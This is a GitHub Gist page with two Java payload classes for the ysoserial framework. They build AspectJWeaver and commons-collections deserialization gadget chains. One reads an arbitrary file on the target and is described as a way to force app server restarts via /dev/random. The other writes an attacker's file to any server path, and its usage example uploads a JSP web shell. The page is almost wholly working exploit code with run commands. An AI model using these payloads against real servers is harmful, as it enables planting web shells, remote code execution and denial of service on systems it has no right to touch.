Last active
September 26, 2022 05:49
-
-
Save denandz/a806b53e36034a08e0e2d4001fe416eb to your computer and use it in GitHub Desktop.
AspectJWeaver file upload and read deserialization gadgets
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package ysoserial.payloads; | |
import org.apache.commons.io.FilenameUtils; | |
import ysoserial.payloads.annotation.Authors; | |
import ysoserial.payloads.annotation.Dependencies; | |
import ysoserial.payloads.util.PayloadRunner; | |
import ysoserial.payloads.util.Reflections; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.aspectj.weaver.tools.cache.SimpleCache; | |
import java.io.Serializable; | |
import java.lang.reflect.*; | |
import java.util.HashMap; | |
import java.util.HashSet; | |
import java.util.Map; | |
/** | |
* A arbitrary file read gadget using AspectJWeaver and commons. | |
* Useful for forcing app server restarts by reading /dev/random. First param is the file to read: | |
* | |
* Example: | |
* java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar AspectJWeaverFileRead1 /dev/random | |
* | |
* Gadget chain: | |
* ObjectInputStream.readObject() | |
* HashSet.readObject() | |
* HashMap.put() | |
* HashMap.hash() | |
* TiedMapEntry.hashCode() | |
* TiedMapEntry.getValue() | |
* SimpleCache$StoreableCachingMap.get() | |
* SimpleCache$StoreableCachingMap.readFromPath() | |
* FileInputStream() | |
* | |
* | |
* Requires: | |
* commons-collections (works with 3.1 or 3.2.x, 4 untested) | |
* aspectjweaver | |
*/ | |
@SuppressWarnings({ "rawtypes", "unchecked" }) | |
@Dependencies({"commons-collections:commons-collections:3.x", "org.aspectj.weaver:aspectjweaver:1.9.5"}) | |
@Authors({ Authors.DOI }) | |
public class AspectJWeaverFileRead1 extends PayloadRunner implements ObjectPayload<Serializable> { | |
public Serializable getObject(final String fullpath) throws Exception { | |
String folder = FilenameUtils.getFullPath(fullpath); | |
String file = FilenameUtils.getName(fullpath); | |
Class<?> innerClass = SimpleCache.class.getDeclaredClasses()[0]; | |
Constructor<?> constructor = null; | |
try { | |
constructor = innerClass.getDeclaredConstructor(String.class, int.class); | |
} catch (NoSuchMethodException e) { | |
e.printStackTrace(); | |
} | |
constructor.setAccessible(true); | |
Object storeableCachingMap = null; | |
try { | |
storeableCachingMap = constructor.newInstance(folder, 10); | |
} catch (InstantiationException e) { | |
e.printStackTrace(); | |
} catch (IllegalAccessException e) { | |
e.printStackTrace(); | |
} catch (InvocationTargetException e) { | |
e.printStackTrace(); | |
} | |
try { | |
// call the super method to avoid creating the file locally | |
Method storeableCachingMapPut = innerClass.getMethod("putIfAbsent", Object.class, Object.class); | |
storeableCachingMapPut.setAccessible(true); | |
storeableCachingMapPut.invoke(storeableCachingMap, file, folder+"/"+file); | |
} catch (NoSuchMethodException e){ | |
e.printStackTrace(); | |
} catch (IllegalAccessException e){ | |
e.printStackTrace(); | |
} catch (InvocationTargetException e){ | |
e.printStackTrace(); | |
} | |
TiedMapEntry entry = new TiedMapEntry((Map) storeableCachingMap, file); | |
HashSet map = new HashSet(1); | |
map.add("foo"); | |
Field f = null; | |
try { | |
f = HashSet.class.getDeclaredField("map"); | |
} catch (NoSuchFieldException e) { | |
f = HashSet.class.getDeclaredField("backingMap"); | |
} | |
Reflections.setAccessible(f); | |
HashMap innimpl = null; | |
try { | |
innimpl = (HashMap) f.get(map); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} | |
Field f2 = null; | |
try { | |
f2 = HashMap.class.getDeclaredField("table"); | |
} catch (NoSuchFieldException e) { | |
f2 = HashMap.class.getDeclaredField("elementData"); | |
} | |
Reflections.setAccessible(f2); | |
Object[] array = new Object[0]; | |
try { | |
array = (Object[]) f2.get(innimpl); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} | |
Object node = array[0]; | |
if (node == null) { | |
node = array[1]; | |
} | |
Field keyField = null; | |
try { | |
keyField = node.getClass().getDeclaredField("key"); | |
} catch (Exception e) { | |
try { | |
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); | |
} catch (ClassNotFoundException classNotFoundException) { | |
classNotFoundException.printStackTrace(); | |
} | |
} | |
Reflections.setAccessible(keyField); | |
try { | |
keyField.set(node, entry); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} | |
return map; | |
} | |
public static void main(final String[] args) throws Exception { | |
PayloadRunner.run(AspectJWeaverFileRead1.class, args); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package ysoserial.payloads; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import org.apache.commons.io.FileUtils; | |
import org.apache.commons.io.FilenameUtils; | |
import org.aspectj.weaver.tools.cache.SimpleCache; | |
import ysoserial.payloads.annotation.Authors; | |
import ysoserial.payloads.annotation.Dependencies; | |
import ysoserial.payloads.util.PayloadRunner; | |
import ysoserial.payloads.util.Reflections; | |
import java.io.File; | |
import java.io.Serializable; | |
import java.lang.reflect.Constructor; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.InvocationTargetException; | |
import java.util.HashMap; | |
import java.util.HashSet; | |
import java.util.Map; | |
/** | |
* A arbitrary file upload gadget using AspectJWeaver and commons. | |
* Takes two parameters, the first being the file to be uploaded (on your local host) and the second being the path | |
* where the file will be uploaded when the gadget is deserialized. | |
* | |
* Greets to nightst0rm, who also discovered this gadget chain: https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 | |
* | |
* Example: | |
* java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar AspectJWeaverFileUpload1 './myshell.jsp;/some/path/on/the/server/whatever.jsp' | |
* | |
* Gadget chain: | |
* ObjectInputStream.readObject() | |
* HashSet.readObject() | |
* HashMap.put() | |
* HashMap.hash() | |
* TiedMapEntry.hashCode() | |
* TiedMapEntry.getValue() | |
* LazyMap.get() | |
* SimpleCache$StoreableCachingMap.put() | |
* SimpleCache$StoreableCachingMap.WriteToPath() | |
* FileOutputStream() | |
* | |
* Requires: | |
* commons-collections (works with 3.1 or 3.2.x, 4 untested) | |
* aspectjweaver | |
*/ | |
@SuppressWarnings({ "rawtypes", "unchecked" }) | |
@Dependencies({"commons-collections:commons-collections:3.x", "org.aspectj.weaver:aspectjweaver:1.9.5"}) | |
@Authors({ Authors.DOI }) | |
public class AspectJWeaverFileUpload1 extends PayloadRunner implements ObjectPayload<Serializable> { | |
public Serializable getObject(final String args) throws Exception { | |
String[] argArray = args.split(";"); | |
if(argArray.length != 2){ | |
throw new IllegalArgumentException("Bad command format. Need exactly two parameters, '<file to upload>;<path to upload to>'"); | |
} | |
String filePath = argArray[0]; | |
String uploadPath = argArray[1]; | |
String uploadFolder = FilenameUtils.getFullPath(uploadPath); | |
String uploadFile = FilenameUtils.getName(uploadPath); | |
// read the file to be uploaded | |
byte[] fileData = FileUtils.readFileToByteArray(new File(filePath)); | |
Class<?> innerClass = SimpleCache.class.getDeclaredClasses()[0]; | |
Constructor<?> constructor = null; | |
try { | |
constructor = innerClass.getDeclaredConstructor(String.class, int.class); | |
} catch (NoSuchMethodException e) { | |
e.printStackTrace(); | |
} | |
constructor.setAccessible(true); | |
Object storeableCachingMap = null; | |
try { | |
storeableCachingMap = constructor.newInstance(uploadFolder,10); | |
} catch (InstantiationException e) { | |
e.printStackTrace(); | |
} catch (IllegalAccessException e) { | |
e.printStackTrace(); | |
} catch (InvocationTargetException e) { | |
e.printStackTrace(); | |
} | |
ConstantTransformer transformer = new ConstantTransformer(fileData); | |
final Map lazyMap = LazyMap.decorate((Map) storeableCachingMap, transformer); | |
TiedMapEntry entry = new TiedMapEntry(lazyMap, uploadFile); | |
HashSet map = new HashSet(1); | |
map.add("foo"); | |
Field f = null; | |
try { | |
f = HashSet.class.getDeclaredField("map"); | |
} catch (NoSuchFieldException e) { | |
f = HashSet.class.getDeclaredField("backingMap"); | |
} | |
Reflections.setAccessible(f); | |
HashMap innimpl = null; | |
try { | |
innimpl = (HashMap) f.get(map); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} | |
Field f2 = null; | |
try { | |
f2 = HashMap.class.getDeclaredField("table"); | |
} catch (NoSuchFieldException e) { | |
f2 = HashMap.class.getDeclaredField("elementData"); | |
} | |
Reflections.setAccessible(f2); | |
Object[] array = new Object[0]; | |
try { | |
array = (Object[]) f2.get(innimpl); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} | |
Object node = array[0]; | |
if(node == null){ | |
node = array[1]; | |
} | |
Field keyField = null; | |
try{ | |
keyField = node.getClass().getDeclaredField("key"); | |
} catch(Exception e){ | |
try { | |
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); | |
} catch (ClassNotFoundException classNotFoundException) { | |
classNotFoundException.printStackTrace(); | |
} | |
} | |
Reflections.setAccessible(keyField); | |
try { | |
keyField.set(node, entry); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} | |
return map; | |
} | |
public static void main(final String[] args) throws Exception { | |
PayloadRunner.run(AspectJWeaverFileUpload1.class, args); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add the following to
pom.xml
to build:under non-gadget dependencies:
and under gadget dependencies: